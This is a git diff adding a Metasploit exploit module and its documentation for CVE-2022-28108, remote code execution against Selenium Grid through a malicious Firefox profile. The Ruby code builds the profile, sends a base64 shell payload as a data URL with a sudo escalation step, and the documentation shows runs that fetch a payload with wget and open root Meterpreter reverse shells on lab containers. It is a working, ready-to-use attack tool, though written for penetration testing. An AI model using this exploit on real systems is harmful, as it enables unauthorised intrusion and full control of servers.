diff --git a/documentation/modules/exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108.md b/documentation/modules/exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108.md new file mode 100644 index 000000000000..30d2d7ddc4cc --- /dev/null +++ b/documentation/modules/exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108.md @@ -0,0 +1,167 @@ +## Vulnerable Application + +Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing) +allows CSRF because it permits non-JSON content types +such as application/x-www-form-urlencoded, multipart/form-data, and text/plain. +At least, the number of sessions must be fewer than maxSessions for the exploit to succeed. + +The vulnerability affects: + + * Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing) + +This module was successfully tested on: + + * selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04 + * selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04 + * selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04 + * selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04 + + +### Installation + +1. `docker pull selenium/standalone-firefox:3.141.59` + +2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-firefox:3.141.59` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108` +4. Do: `run lhost= rhost=` +5. You should get a meterpreter + + +## Options +### TIMEOUT (required) + +This is the amount of time (in seconds) that the module will wait for the payload to be +executed. Defaults to 75 seconds. + + +## Scenarios +### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04 +``` +msf6 > use exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108 +[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp +msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > options + +Module options (exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 4444 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TIMEOUT 75 yes Timeout for exploit (seconds) + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE true yes Attempt to delete the binary after execution + FETCH_FILENAME NnnZmAGfjJoa no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4445 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable. +[*] Started session (3191e005-977b-40c9-8c70-7e2f4ef4f922). +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:43182) at 2025-01-04 10:01:09 +0900 +[*] Failed to delete the session (3191e005-977b-40c9-8c70-7e2f4ef4f922). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 172.17.0.2 +OS : Ubuntu 20.04 (Linux 6.8.0-51-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +### selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04 +``` +msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4446 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. +[*] Started session (dc849fa9-0b61-4862-8766-21f1cb47c827). +[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:54410) at 2025-01-04 10:03:37 +0900 +[*] Failed to delete the session (dc849fa9-0b61-4862-8766-21f1cb47c827). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 172.17.0.3 +OS : Ubuntu 18.04 (Linux 6.8.0-51-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +### selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04 +``` +msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. +[*] Started session (af8d64bc-cdf6-4a03-8706-e90bddbee1c2). +[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.16:40680) at 2025-01-04 10:05:44 +0900 +[*] Failed to delete the session (af8d64bc-cdf6-4a03-8706-e90bddbee1c2). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 172.17.0.4 +OS : Ubuntu 20.04 (Linux 6.8.0-51-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +### selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04 +``` +msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4448 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready. +[*] Started session (1657b5ac-c514-431f-8c83-761c14012869). +[*] Meterpreter session 4 opened (192.168.56.1:4444 -> 192.168.56.16:44868) at 2025-01-04 10:10:38 +0900 +[*] Failed to delete the session (1657b5ac-c514-431f-8c83-761c14012869). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed. + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 172.17.0.5 +OS : Ubuntu 24.04 (Linux 6.8.0-51-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/modules/exploits/linux/http/selenium_greed_firefox_rce_cve_2022_28108.rb b/modules/exploits/linux/http/selenium_greed_firefox_rce_cve_2022_28108.rb new file mode 100644 index 000000000000..97337ca5bd03 --- /dev/null +++ b/modules/exploits/linux/http/selenium_greed_firefox_rce_cve_2022_28108.rb @@ -0,0 +1,178 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Selenium geckodriver RCE', + 'Description' => %q{ + Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing) + allows CSRF because it permits non-JSON content types + such as application/x-www-form-urlencoded, multipart/form-data, and text/plain. + }, + 'Author' => [ + 'Jon Stratton', # Exploit development + 'Takahiro Yokoyama' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2022-28108'], + ['URL', 'https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/'], + ['URL', 'https://github.com/JonStratton/selenium-node-takeover-kit/tree/master'], + ['EDB', '49915'], + ], + 'Payload' => {}, + 'Platform' => %w[linux], + 'Targets' => [ + [ + 'Linux Command', { + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, + 'DefaultOptions' => { + 'FETCH_COMMAND' => 'WGET' + } + } + ], + ], + 'DefaultOptions' => { + 'FETCH_DELETE' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2022-04-18', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + register_options( + [ + Opt::RPORT(4444), + OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', 75 ]) + ] + ) + end + + def check + # Request for Selenium Grid version 4 + v4res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'status') + }) + if v4res && v4res.get_json_document && v4res.get_json_document.include?('value') && + v4res.get_json_document['value'].include?('message') + if v4res.get_json_document['value']['message'] == 'Selenium Grid ready.' + return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected and ready.') + elsif v4res.get_json_document['value']['message'].downcase.include?('selenium grid') + return Exploit::CheckCode::Unknown('Selenium Grid version 4.x detected but not ready.') + end + end + + # Request for Selenium Grid version 3 + v3res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }) + return Exploit::CheckCode::Unknown('Unexpected server reply.') unless v3res&.code == 200 + + js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) } + return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code + + json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1] + begin + json_data = JSON.parse(json_str) + rescue JSON::ParserError + return Exploit::CheckCode::Unknown('Unable to determine the version.') + end + return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version'] + + # Extract the version + version = Rex::Version.new(json_data['version']) + @version3 = version < Rex::Version.new('4.0.0') + + CheckCode::Appears("Version #{version} detected, which is vulnerable.") + end + + def exploit + # Build profile zip file. + stringio = Zip::OutputStream.write_buffer do |io| + # Create a handler for shell scripts + io.put_next_entry('handlers.json') + io.write('{"defaultHandlersVersion":{"en-US":4},"mimeTypes":{"application/sh":{"action":2,"handlers":[{"name":"sh","path":"/bin/sh"}]}}}') + end + stringio.rewind + encoded_profile = Base64.strict_encode64(stringio.sysread) + + # Create session with our new profile + new_session = { + desiredCapabilities: { + browserName: 'firefox', + firefox_profile: encoded_profile + }, + capabilities: { + firstMatch: [ + { + browserName: 'firefox', + "moz:firefoxOptions": { profile: encoded_profile } + } + ] + } + }.to_json + + # Start session with encoded_profile and save session id for cleanup. + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'wd/hub/session'), + 'headers' => { 'Content-Type' => 'application/json; charset=utf-8' }, + 'data' => new_session + }, datastore['TIMEOUT']) + fail_with(Failure::Unknown, 'Unexpected server reply.') unless res + + session_id = res.get_json_document['value']['sessionId'] || res.get_json_document['sessionId'] + fail_with(Failure::Unknown, 'Failed to start session.') unless session_id + + print_status("Started session (#{session_id}).") + + b64encoded_payload = Rex::Text.encode_base64( + "rm -rf $0\n"\ + "if sudo -n true 2>/dev/null; then\n"\ + " echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d | sudo su root -c /bin/bash\n"\ + "else\n"\ + " #{payload.encoded}\n"\ + "fi\n" + ) + + data_url = "data:application/sh;charset=utf-16le;base64,#{b64encoded_payload}" + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "wd/hub/session/#{session_id}/url"), + 'headers' => { 'Content-Type' => 'application/json; charset=utf-8' }, + 'data' => JSON.generate(url: data_url) + }) + # The server does not send a response, so no check here + + # This may take some time (about 5 minutes or so), so no timeout is set here. + res = send_request_cgi({ + 'method' => 'DELETE', + 'uri' => normalize_uri(target_uri.path, @version3 ? "wd/hub/session/#{session_id}" : "session/#{session_id}"), + 'headers' => { 'Content-Type' => 'application/json; charset=utf-8' } + }) + if res + print_status("Deleted session (#{session_id}).") + else + print_status("Failed to delete the session (#{session_id}). "\ + 'You may need to wait for the session to expire (default: 5 minutes) or '\ + 'manually delete the session for the next exploit to succeed.') + end + end + +end